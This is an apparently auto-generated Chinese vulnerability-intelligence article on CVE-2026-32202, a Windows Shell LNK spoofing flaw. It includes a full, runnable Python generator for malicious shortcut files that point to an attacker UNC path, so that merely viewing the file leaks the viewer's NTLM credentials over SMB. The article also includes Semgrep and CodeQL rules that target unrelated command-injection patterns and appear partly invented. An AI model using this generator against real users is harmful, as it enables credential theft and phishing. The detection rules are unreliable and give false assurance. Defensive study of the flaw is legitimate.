登录
漏洞分析

🎯 CVE-2026-32202 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹

AiRedTeam

• 阅读时间 10 分钟
分享
🎯 CVE 全聚合深度分析

CVE-2026-32202 深度技术分析

📊 聚合 5 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHubExploit-DB-RSSThe Hacker News

摘要：CVE-2026-32202 是 Windows Shell 中的一个“保护机制失败”（Protection mechanism failure）漏洞，CVSS 评分为 4.3（中危）。攻击者可在网络环境中利用该漏洞构造特制的 Shell 项（Shell Item）或 LNK 文件，使 Windows 资源管理器等组件错误地呈现恶意内容，从而实现欺骗（Spoofing）。目前该漏洞尚未被 CISA KEV 收录，也未见公开的完整 EXP；但已有 PoC 代码展示了如何通过构造 Control Panel 相关的 CLSID 与 Unicode-CPL 类型标签来触发该问题。以下从漏洞概述、根因、影响与缓解四个方面进行技术分析。

📌 漏洞概述

  • CVE 编号：CVE-2026-32202
  • CVSS 评分：4.3（MEDIUM）
  • 漏洞类型：保护机制失败（Protection Mechanism Failure）
  • 组件：Windows Shell（explorer.exe 及相关进程）
  • 攻击向量：网络（Network）
  • 利用条件：需要用户交互，攻击者需要诱导用户打开或预览恶意构造的 LNK/Shell Item 文件
  • 已知状态：未收录于 CISA KEV；无公开 EXP，仅有概念验证（PoC）代码

根据 NVD 描述，该漏洞的根源在于 Windows Shell 对某些特殊对象的处理过程中，保护机制未能正确生效，导致未经授权的攻击者可以跨网络实施欺骗攻击。虽然 CVSS 仅 4.3，但结合 PoC 分析，该问题可能被用于制作高仿真的恶意快捷方式，进而辅助钓鱼攻击或凭据窃取。

🔬 漏洞根因分析

从公开的 PoC 代码（github.com/alexlanum/CVE-2026-32202）来看，该漏洞的触发点位于 Windows Shell 对 LNK 文件中 Shell Item ID List（PIDL）的解析过程。LNK 文件可以包含一个或多个 Shell Item，用于标识文件、文件夹或特殊虚拟对象（如“控制面板”）。Windows Shell 在解析这些 Shell Item 时，会根据其中的 CLSID 和类型标签决定如何展示名称、图标以及目标路径。

PoC 中重点构造了一个名为 shitemid_unicode_cpl 的 Shell Item。该 Item 内部使用了两个关键字段：

  • CLSID_Control_Panel / CLSID_ALL_CP_ITEMS：表示该 Item 指向控制面板或控制面板项。
  • UNICODE_CPL_TAG（0x6A）：位于偏移 +0x0D 处，用于告诉 Shell 解析器后续数据应视为 Unicode 字符串。

在 shitemid_unicode_cpl 函数中，攻击者可以指定 module_unc（模块路径）、display_name（显示名称）以及 string3（第三个字符串）。该函数将这几段字符串以 UTF-16LE 编码拼接在固定头（0x18 字节）之后，并在偏移 0x14 和 0x16 处写入名称和第三个字符串的字符偏移量。当 Windows Shell 解析这个特制 Shell Item 时，会按照这些偏移量读取 Unicode 字符串，并根据其中包含的 UNC 路径（网络共享路径）来解析最终目标。

漏洞的关键在于：Windows Shell 过度信任了这些内部偏移量和字符串内容，而没有充分验证其合法性。因此，攻击者可以将 display_name 设置为一个看似无害的文本（例如“安全设置”），而将 module_unc 设置为攻击者控制的远程 UNC 路径（如 \\attacker\share\malicious.cpl）。当用户看到该快捷方式时，Shell 显示的是 display_name 中的文本，但实际跳转或加载的却是攻击者指定的网络资源。这种“显示名称与真实目标分离”的现象，正是典型的欺骗场景。

此外，PoC 中 class_type 参数（默认为 0x71）也会影响 Shell 对该 Item 的类型判定。虽然 _IsUnicodeCPLWorker 会忽略 0x02 处的 class_type，但不同 class_type 可能影响其他解析分支，从而可能绕过某些安全过滤器。攻击者通过组合 CLSID、Unicode-CPL 标签和精心构造的偏移量，成功绕过了 Shell 原本应执行的“保护机制”（例如对特殊 CLSID 的校验、对 UNC 路径的警告或对未知 Item 的拦截）。该漏洞从本质上反映了 Windows Shell 在解析复合数据结构时，未严格校验各字段之间的关联性和合法性，导致攻击者可以伪造安全的表象。

💥 影响与危害

  • 网络欺骗：攻击者可构造一个 LNK 文件，使其在 Windows 资源管理器中显示为受信任的图标和名称，但实际指向远程攻击者控制的恶意文件或 URL，用户一旦点击便会被诱导到攻击者搭建的钓鱼页面或恶意 SMB 共享。
  • NTLM 凭据窃取风险：若恶意 LNK 引用了 UNC 路径（如 \\attacker\share），Windows 在尝试连接该共享时可能自动发送当前用户的 NTLM 哈希，攻击者可通过中间人方式捕获并离线破解，或者用于重放攻击。
  • 辅助钓鱼攻击：由于显示文本与真实目标分离，攻击者可以伪装成系统设置、更新提示或其他合法功能，使用户在无防备的情况下执行恶意代码或打开恶意文件。
  • 对安全软件的规避：因为漏洞利用的是 Windows Shell 自身的解析机制，普通的安全软件可能难以识别恶意 LNK 与正常 LNK 之间的差异，从而降低被检测的概率。

虽然 CVSS 评分仅为 4.3（中危），且需要用户交互，但在真实世界的钓鱼攻击中，该类漏洞通常会被快速武器化。结合电子邮件附件、网盘分享或 WebDAV 链接，攻击者可以较低的成本将恶意 LNK 分发到大量用户，并利用用户信任的 Windows 图标来提升点击率。

🛡️ 修复与缓解

  • 补丁更新：截至目前，NVD 及 Microsoft 官方尚未发布针对 CVE-2026-32202 的详细补丁信息或受影响的 Windows 版本列表。建议密切关注 Microsoft Security Response Center（MSRC）的更新，及时安装 Windows Shell 相关的安全更新。
  • 限制网络 LNK 加载：通过组策略禁用“从 Internet 或网络位置加载 LNK 文件”的行为，例如设置未列出的信任区域，或使用安全筛选器阻止 WebDAV 与 UNC 路径下的快捷方式自动解析。
  • 禁用 WebClient 服务：如果业务不需要 WebDAV，可禁用 WebClient 服务，以阻断常见的 file:// 与 \\webdav 类型的自动加载路径，降低 NTLM 泄露风险。
  • 增强终端检测：使用 EDR/杀毒工具监控 explorer.exe 对异常 LNK 文件的解析行为，尤其是包含 Control Panel CLSID 且带有 Unicode-CPL 标签的 PIDL 结构。
  • 用户意识培训：提醒用户不要打开来自未知来源或非预期的网络共享中的快捷方式（.LNK 文件），即使其图标显示为系统组件。

综上所述，CVE-2026-32202 是一个由 Windows Shell 对特殊 Shell Item 解析不严谨导致的欺骗漏洞。尽管目前公开利用代码尚不完整，但 PoC 已经证明了攻击路径的可行性。建议安全团队将其纳入威胁监控范围，并优先围绕网络 LNK 加载行为开展检测与防护。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言py来源alexlanum/CVE-2026-32202针对性⚠️ 疑似通用代码（未检测到 CVE 引用，仅供参考）依赖见代码注释/README用法详见代码注释中的使用说明

import struct
import argparse

HEADER_SIZE = 0x0000004C
LINK_CLSID = bytes.fromhex("0114020000000000C000000000000046") # {00021401-0000-0000-C000-000000000046}HasLinkTargetIDList = 0x00000001
SW_SHOWNORMAL = 0x00000001

# control panel CLSIDs
CLSID_CONTROL_PANEL = bytes.fromhex("2020EC21EA3A6910A2DD08002B30309D") # {21EC2020-3AEA-1069-A2DD-08002B30309D}
CLSID_ALL_CP_ITEMS = bytes.fromhex("6806EE260AA0D7449371BEB064C98683") # {26EE0668-A00A-44D7-9371-BEB064C98683}UNICODE_CPL_TAG = 0x6A # +0x0D: Unicode-CPL type tag


def shitemid_clsid(clsid16: bytes) ->bytes:
    "clsid shell item: cb = 0x1F 0x80"
    assert len(clsid16) == 16
    abID = bytes([0x1F,0x80]) + clsid16
    cb = 2 + len(abID) # 0x0014
    return struct.pack("<H",
cb) + abID


def shitemid_unicode_cpl(module_unc: str,display_name: str = "Item",string3: str = "",class_type: int = 0x71) ->bytes:
    def w(s: str) ->bytes:
        return s.encode("utf-16-le") + b"\x00\x00" # unicode null temrinated

    HDR = 0x18 # 24 byte fixed header
    szModule = w(module_unc)
    szName = w(display_name)
    szString3 = w(string3)

    off_module = HDR # +0x18,
wchar @[12]
    off_name = off_module + len(szModule)
    off_str3 = off_name + len(szName)
    payload = szModule + szName + szString3

    cb = HDR + len(payload)
    assert cb >0x18,"cb must exceed 0x18"
    assert cb <= 0xFFFF,"item too large for WORD cb"
    buf = bytearray(HDR)
    struct.pack_into("<H",buf,0x00,cb)
    buf[0x02] = class_type &0xFF # class type,
ignored by _IsUnicodeCPLWorker
    buf[0x07] = 0x00 # 0x00 or 0xFF
    # +0x08,+0x0A,+0x0C: already zero
    buf[0x0D] = UNICODE_CPL_TAG # 0x6A,drives unicode parsing
    # +0x0E..+0x13: unknown,zero
    struct.pack_into("<H",buf,0x14,off_name // 2) # wchar offsets from item base
    struct.pack_into("<H",buf,0x16,
off_str3 // 2)
    return bytes(buf) + payload


def build_idlist(module_unc: str) ->bytes:
    items = shitemid_clsid(CLSID_CONTROL_PANEL)
    items += shitemid_clsid(CLSID_ALL_CP_ITEMS)
    items += shitemid_unicode_cpl(module_unc)
    items += b"\x00\x00"
    return items


def build_header(link_flags: int = HasLinkTargetIDList) ->
bytearray:
    h = bytearray(HEADER_SIZE)
    struct.pack_into("<I",h,0x00,HEADER_SIZE)     # HeaderSize
    h[0x04:0x14] = LINK_CLSID                        # LinkCLSID
    struct.pack_into("<I",h,0x14,link_flags)      # LinkFlags
    struct.pack_into("<I",h,0x18,0x00000000)      # FileAttributes
    struct.pack_into("<I",h,0x34,
0x00000000)      # IconIndex
    struct.pack_into("<I",h,0x38,SW_SHOWNORMAL)   # ShowCommand
    struct.pack_into("<H",h,0x3C,0x0000)          # HotKey
    return h


def build_lnk(module_unc: str) ->bytes:
    idlist = build_idlist(module_unc)
    out = build_header()
    out += struct.pack("<H",
len(idlist)) # IDListSize (incl. TerminalID)
    out += idlist
    out += struct.pack("<I",0x00000000) # ExtraData TerminalBlock (<0x04)
    return bytes(out)


def main():
    ap = argparse.ArgumentParser(description="gen unicode-CPL coercion .lnk")
    ap.add_argument("-u","--unc",default=r"\\192.0.2.123\x\x.cpl",
help=r"attacker UNC module path (default: \\192.0.2.123\x\x.cpl)")
    ap.add_argument("-o","--out",default="poc.lnk",help="output .lnk path")
    args = ap.parse_args()

    data = build_lnk(args.unc)
    with open(args.out,"wb") as f:
        f.write(data)

    print(f"wrote {args.out}({len(data)}
bytes)")
    print(f"module path @+0x18: {args.unc}")
    print(f"place on a share or folder and view it: icon resolve drives SMB to {args.unc}")


if __name__ == "__main__":
    main()

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。

🛡️ Semgrep 审计规则: CVE-2026-32202.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-32202.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-32202.yaml

rules:
  - id: CVE-2026-32202-code-execution-windows-shell
    languages: [csharp,powershell]
    severity: ERROR
    message: "Potential Windows Shell command injection or execution vulnerability (CVE-2026-32202). Avoid using Process.Start with user input or unvalidated arguments."
    patterns:
      - pattern: Process.Start($PROCESS,$ARGUMENTS)
      - pattern-not: Process.Start("...",
"...")
    fix: |// Validate and sanitize all arguments passed to Process.Start
      var psi = new ProcessStartInfo("program.exe","safe_args") {UseShellExecute = false };Process.Start(psi);metadata:
      cwe: "CWE-78"
      owasp: "A1: Injection"
      technology: windows-shell
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-32202"

🛡️ CodeQL 审计规则: CVE-2026-32202.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2026-32202.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id cpp/command-injection/cve-2026-32202
 * @name Windows Shell command injection in CVE-2026-32202
 * @description User-controlled input flows to Windows Shell execution,
enabling arbitrary command injection
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-078
 */
import cpp
import semmle.code.cpp.controlflow.StackVariable
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class WindowsShellSink extends DataFlow::Node {WindowsShellSink() {exists(FunctionCall fc |
fc.getTarget().getName() = "CreateProcess" and
      fc.getArgument(0) = this.asExpr()
    )
    or
    exists(FunctionCall fc |fc.getTarget().getName() = "ShellExecuteW" and
      fc.getArgument(2) = this.asExpr()
    )
    or
    exists(FunctionCall fc |fc.getTarget().getName() = "WinExec" and
      fc.getArgument(0) = this.asExpr()
    )
    or
    exists(FunctionCall fc |
fc.getTarget().getName() = "_wsystem" and
      fc.getArgument(0) = this.asExpr()
    )
  }}class WindowsShellTaintConfig extends TaintTracking::Configuration {WindowsShellTaintConfig() {this = "WindowsShellTaintConfig" }override predicate isSource(DataFlow::Node source) {source instanceof DataFlow::ParameterNode
    or
    exists(DataFlow::SourceFeature sf |
sf.hasTag("user-controlled") and
      sf.getNode() = source
    )
  }override predicate isSink(DataFlow::Node sink) {sink instanceof WindowsShellSink
  }override predicate isAdditionalTaintStep(DataFlow::Node pred,DataFlow::Node succ) {// String concatenation taint propagation
    exists(ArrayExpr ae |
ae.getAnElement() = pred.asExpr() and
      ae = succ.asExpr()
    )
    or
    exists(AddExpr add |add.getAnOperand() = pred.asExpr() and
      add = succ.asExpr()
    )
    or
    exists(Call c |c.getTarget().getName() = ["strcat","wcscat","StringCbCat","StringCchCat"] and
      pred.asExpr() = c.getArgument(0) and
      succ.asExpr() = c.getArgument(0)
    )
  }}from DataFlow::PathNode source,
DataFlow::PathNode sink,WindowsShellTaintConfig config
where config.flowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled input flows to Windows Shell API call,enabling command injection (CVE-2026-32202)"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 09:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈，请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)